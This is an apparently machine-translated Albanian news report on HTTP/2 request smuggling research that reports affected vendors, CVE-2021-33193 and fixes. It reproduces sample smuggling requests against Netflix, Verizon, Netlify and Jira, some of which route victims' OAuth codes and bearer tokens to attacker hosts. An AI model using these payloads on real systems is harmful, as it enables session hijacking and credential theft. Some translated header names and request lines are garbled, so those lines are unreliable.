Sistemet e uebit në të cilat pjesa e përparme pranon lidhjet nëpërmjet HTTP/2 dhe i transmeton ato në pjesën e pasme nëpërmjet HTTP/1.1 janë ekspozuar ndaj një varianti të ri të sulmit “HTTP Request Smuggling”, i cili lejon, duke dërguar kërkesa të klientëve të dizajnuara posaçërisht, në futeni në përmbajtjen e kërkesave nga përdoruesit e tjerë të përpunuara në të njëjtën rrjedhë midis frontendit dhe backend. Sulmi mund të përdoret për të futur kodin keqdashës JavaScript në një seancë me një faqe interneti të ligjshme, për të anashkaluar sistemet e kufizimit të aksesit dhe për të përgjuar parametrat e vërtetimit.
Problemi prek proxies në internet, balancuesit e ngarkesës, përshpejtuesit e uebit, sistemet e shpërndarjes së përmbajtjes dhe konfigurime të tjera në të cilat kërkesat ridrejtohen në një mënyrë nga fundi në fund. Autori i studimit demonstroi mundësinë e sulmit të sistemeve të Netflix, Verizon, Bitbucket, Netlify CDN dhe Atlassian dhe mori 56 mijë dollarë në programe shpërblimi për identifikimin e dobësive. Problemi është konfirmuar edhe në produktet F5 Networks. Problemi prek pjesërisht mod_proxy në serverin Apache http (CVE-2021-33193), një rregullim pritet në versionin 2.4.49 (zhvilluesit u njoftuan për problemin në fillim të majit dhe iu dhanë 3 muaj për ta rregulluar). Në nginx, aftësia për të specifikuar njëkohësisht titujt "Content-Length" dhe "Transfer-Encoding" u bllokua në versionin e fundit (1.21.1). Veglat e sulmit janë përfshirë tashmë në paketën e veglave Burp dhe janë të disponueshme në formën e zgjerimit Turbo Intruder.
Parimi i funksionimit të metodës së re të futjes së kërkesave në trafik është i ngjashëm me cenueshmërinë e identifikuar nga i njëjti studiues dy vjet më parë, por i kufizuar në frontet që pranojnë kërkesa mbi HTTP/1.1. Le të kujtojmë se në skemën frontend-backend, kërkesat e klientit pranohen nga një nyje shtesë - frontend, i cili krijon një lidhje të gjatë TCP me backend, i cili përpunon drejtpërdrejt kërkesat. Nëpërmjet kësaj lidhjeje të përbashkët zakonisht transmetohen kërkesa nga përdorues të ndryshëm, të cilët ndjekin zinxhirin njëra pas tjetrës, të ndara me anë të protokollit HTTP.
Sulmi klasik "HTTP Request Muggling" u bazua në faktin se frontends dhe backends interpretojnë përdorimin e titujve HTTP "Content-Length" (përcakton madhësinë totale të të dhënave në kërkesë) dhe "Transfer-Encoding: chunked" (lejon të dhënat që do të transferohen në pjesë) ndryshe. . Për shembull, nëse frontend mbështet vetëm "Content-Length" por injoron "Transfer-Encoding: chunked", atëherë një sulmues mund të dërgojë një kërkesë që përmban të dyja titujt "Content-Length" dhe "Transfer-Encoding: chunked", por madhësia është "Gjatësia e përmbajtjes" nuk përputhet me madhësinë e zinxhirit të copëtuar. Në këtë rast, pjesa e përparme do të përpunojë dhe ridrejtojë kërkesën në përputhje me "Gjatësia e përmbajtjes" dhe pjesa e përparme do të presë për përfundimin e bllokut bazuar në "Transfer-Encoding: copëtuar" dhe pjesa e mbetur e kërkesës së sulmuesit do të të jetë në fillim të kërkesës së dikujt tjetër të transmetuar më pas.
Ndryshe nga protokolli i tekstit HTTP/1.1, i cili analizohet në nivelin e linjës, HTTP/2 është një protokoll binar dhe manipulon blloqet e të dhënave të një madhësie të paracaktuar. Megjithatë, HTTP/2 përdor pseudo-tituj që korrespondojnë me titujt e rregullt të HTTP. Në rastin e ndërveprimit me backend-in nëpërmjet protokollit HTTP/1.1, frontend-i i përkthen këto pseudo-tituj në tituj të ngjashëm HTTP HTTP/1.1. Problemi është se backend merr vendime për analizimin e transmetimit bazuar në titujt HTTP të vendosura nga frontend, pa pasur informacion në lidhje me parametrat e kërkesës origjinale.
Në veçanti, vlerat "gjatësia e përmbajtjes" dhe "kodimi i transferimit" mund të transmetohen në formën e pseudo-titujve, pavarësisht nga fakti se ato nuk përdoren në HTTP/2, pasi madhësia e të gjitha të dhënave përcaktohet. në një fushë të veçantë. Megjithatë, gjatë procesit të konvertimit të një kërkese HTTP/2 në HTTP/1.1, këto tituj barten dhe mund të ngatërrojnë backend-in. Ekzistojnë dy variante kryesore sulmi: H2.TE dhe H2.CL, në të cilat pjesa e pasme mashtrohet nga një kodim i gabuar i transferimit ose vlera e gjatësisë së përmbajtjes që nuk korrespondon me madhësinë aktuale të trupit të kërkesës të marrë nga frontend përmes Protokolli HTTP/2.
Një shembull i një sulmi H2.CL është të specifikoni një madhësi të pasaktë në pseudo-header-in e gjatësisë së përmbajtjes kur dërgoni një kërkesë HTTP/2 në Netflix. Kjo kërkesë çon në shtimin e një gjatësie të ngjashme të kokës së HTTP-së kur qaseni në backend përmes HTTP/1.1, por meqenëse madhësia në gjatësinë e përmbajtjes është specifikuar më pak se ajo aktuale, një pjesë e të dhënave në bisht përpunohet si fillimi i kërkesës së radhës.
Për shembull, kërkoni HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Do të rezultojë në dërgimin e një kërkese te pjesa e pasme: POST /n HTTP/1.1 Pritësi: www.netflix.com Përmbajtja-Gjatësia: 4 abcdGET /n HTTP/1.1 Pritësi: 02.rs?x.netflix.com Foo: bar
Meqenëse Content-Length ka një vlerë prej 4, backend do të pranojë vetëm "abcd" si trupin e kërkesës, dhe pjesa tjetër e "GET /n HTTP/1.1..." do të përpunohet si fillimi i një kërkese të mëvonshme lidhur me një përdorues tjetër. Në përputhje me rrethanat, transmetimi do të desinkronizohet dhe në përgjigje të kërkesës së radhës, do të lëshohet rezultati i përpunimit të kërkesës dummy. Në rastin e Netflix, specifikimi i një hosti të palës së tretë në kokën "Host:" në një kërkesë të rreme rezultoi që klienti të kthente përgjigjen "Vendndodhja: https://02.rs?x.netflix.com/n" dhe lejoi që përmbajtja arbitrare t'i dërgohej klientit, duke përfshirë ekzekutimin e kodit tuaj JavaScript në kontekstin e faqes Netflix.
Opsioni i dytë i sulmit (H2.TE) përfshin zëvendësimin e titullit "Transfer-Encoding: chunked". Përdorimi i pseudo-titullit të kodimit të transferimit në HTTP/2 është i ndaluar nga specifikimi dhe kërkesat me të parashikohen të trajtohen si të pasakta. Përkundër kësaj, disa zbatime të frontendit nuk e marrin parasysh këtë kërkesë dhe lejojnë përdorimin e një pseudo-header kodues transferimi në HTTP/2, i cili konvertohet në një kokë të ngjashme HTTP. Nëse ka një titull "Transfer-Encoding", backend mund ta marrë atë si një prioritet më të lartë dhe t'i analizojë të dhënat pjesë-pjesë në modalitetin "conked" duke përdorur blloqe të madhësive të ndryshme në formatin "{size}\r\n{block }\r\n{madhësia} \r\n{blloku}\r\n0", pavarësisht ndarjes fillestare sipas madhësisë së përgjithshme.
Prania e një hendeku të tillë u demonstrua nga shembulli i Verizon. Problemi kishte të bënte me portalin e vërtetimit dhe sistemin e menaxhimit të përmbajtjes, i cili përdoret gjithashtu në sajte si Huffington Post dhe Engadget. Për shembull, një kërkesë klienti nëpërmjet HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com kodimi i transferimit u copëtua 0 GET /oops HTTP/1.1 Pritësi: psres.net Përmbajtja-Gjatësia: 10 x=
Rezultoi në dërgimin e një kërkese HTTP/1.1 te pjesa e pasme: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Përmbajtja-Gjatësia: 66 Transferimi-Enkodimi: copëtuar 0 GET /oops HTTP/1.1 Pritësi: psres. Përmbajtja neto- Gjatësia: 10x=
Pjesa e pasme, nga ana tjetër, injoroi kokën "Gjatësia e përmbajtjes" dhe kreu ndarjen në transmetim bazuar në "Transfer-Encoding: copëtuar". Në praktikë, sulmi bëri të mundur ridrejtimin e kërkesave të përdoruesve në faqen e tyre të internetit, duke përfshirë përgjimin e kërkesave në lidhje me vërtetimin e OAuth, parametrat e të cilave u shfaqën në kokën e referencës, si dhe simulimin e një sesioni vërtetimi dhe aktivizimin e sistemit të përdoruesit për të dërguar kredencialet te nikoqiri i sulmuesit. GET /b2blanding/show/oops HTTP/1.1 Pritësi: psres.net Referues: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Pritësi: psres.net Autorizimi: Bartësi eyJhcGwiOiJIUzI1CCI1
Për të sulmuar implementimet HTTP/2 që nuk lejojnë të specifikohet pseudo-kodi i kodimit të transferimit, është propozuar një metodë tjetër që përfshin zëvendësimin e titullit "Transfer-Encoding" duke e bashkangjitur atë me pseudo-tituj të tjerë të ndarë me një karakter të linjës së re ( kur konvertohet në HTTP/1.1 në këtë rast krijon dy tituj të veçantë HTTP).
Për shembull, Atlassian Jira dhe Netlify CDN (përdorur për të shërbyer faqen fillestare të Mozilla në Firefox) u prekën nga ky problem. Në mënyrë të veçantë, kërkesa HTTP/2 :metoda POST :path / :authority start.mozilla.org foo b\r\n kodimi i transferimit: i copëtuar 0\r\n \r\n GET / HTTP/1.1\r\n Host : evil-netlify-domain\r\n Gjatësia e përmbajtjes: 5\r\n \r\nx=
rezultoi në dërgimin e kërkesës HTTP/1.1 POST / HTTP/1.1 në fundin e mbështetjes\r\n Pritësi: start.mozilla.org\r\n Foo: b\r\n Transferimi-Enkodimi: copëtuar\r\n Gjatësia e përmbajtjes : 71\ r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Pritësi: evil-netlify-domain\r\n Gjatësia e përmbajtjes: 5\r\n \r \nx=
Një opsion tjetër për zëvendësimin e titullit "Transfer-Encoding" ishte bashkëngjitja e tij me emrin e një pseudo-header tjetër ose në një rresht me një metodë kërkese. Për shembull, kur qaseni në Atlassian Jira, emri i pseudo-titullit "foo: bar\r\ntransfer-encoding" me vlerën "chunked" bëri që të shtohen titujt e HTTP "foo: bar" dhe "transfer-encoding: chunked". , dhe specifikimi i vlerës së pseudo-titullit ":metod" "GET / HTTP/1.1\r\nEnkodimi i transferimit: i copëtuar" u përkthye në "GET / HTTP/1.1\r\nkodimi i transferimit: i copëtuar".
Studiuesi që identifikoi problemin propozoi gjithashtu një teknikë të tunelit të kërkesave për të sulmuar frontendet, në të cilën çdo adresë IP krijon një lidhje të veçantë me pjesën e pasme dhe trafiku nga përdorues të ndryshëm nuk është i përzier. Teknika e propozuar nuk lejon ndërhyrjen në kërkesat nga përdoruesit e tjerë, por bën të mundur helmimin e një cache të përbashkët që ndikon në përpunimin e kërkesave të tjera dhe lejon zëvendësimin e titujve të brendshëm HTTP të përdorura për transferimin e informacionit të shërbimit nga frontend në pjesën e pasme ( për shembull, kur vërtetohet në anën e përparme në Titujt e tillë mund të transmetojnë informacion rreth përdoruesit aktual në pjesën e pasme). Si shembull i aplikimit të metodës në praktikë, duke përdorur helmimin me cache, ishte e mundur të fitohej kontrolli mbi faqet në shërbimin Bitbucket.
Burimi: opennet.ru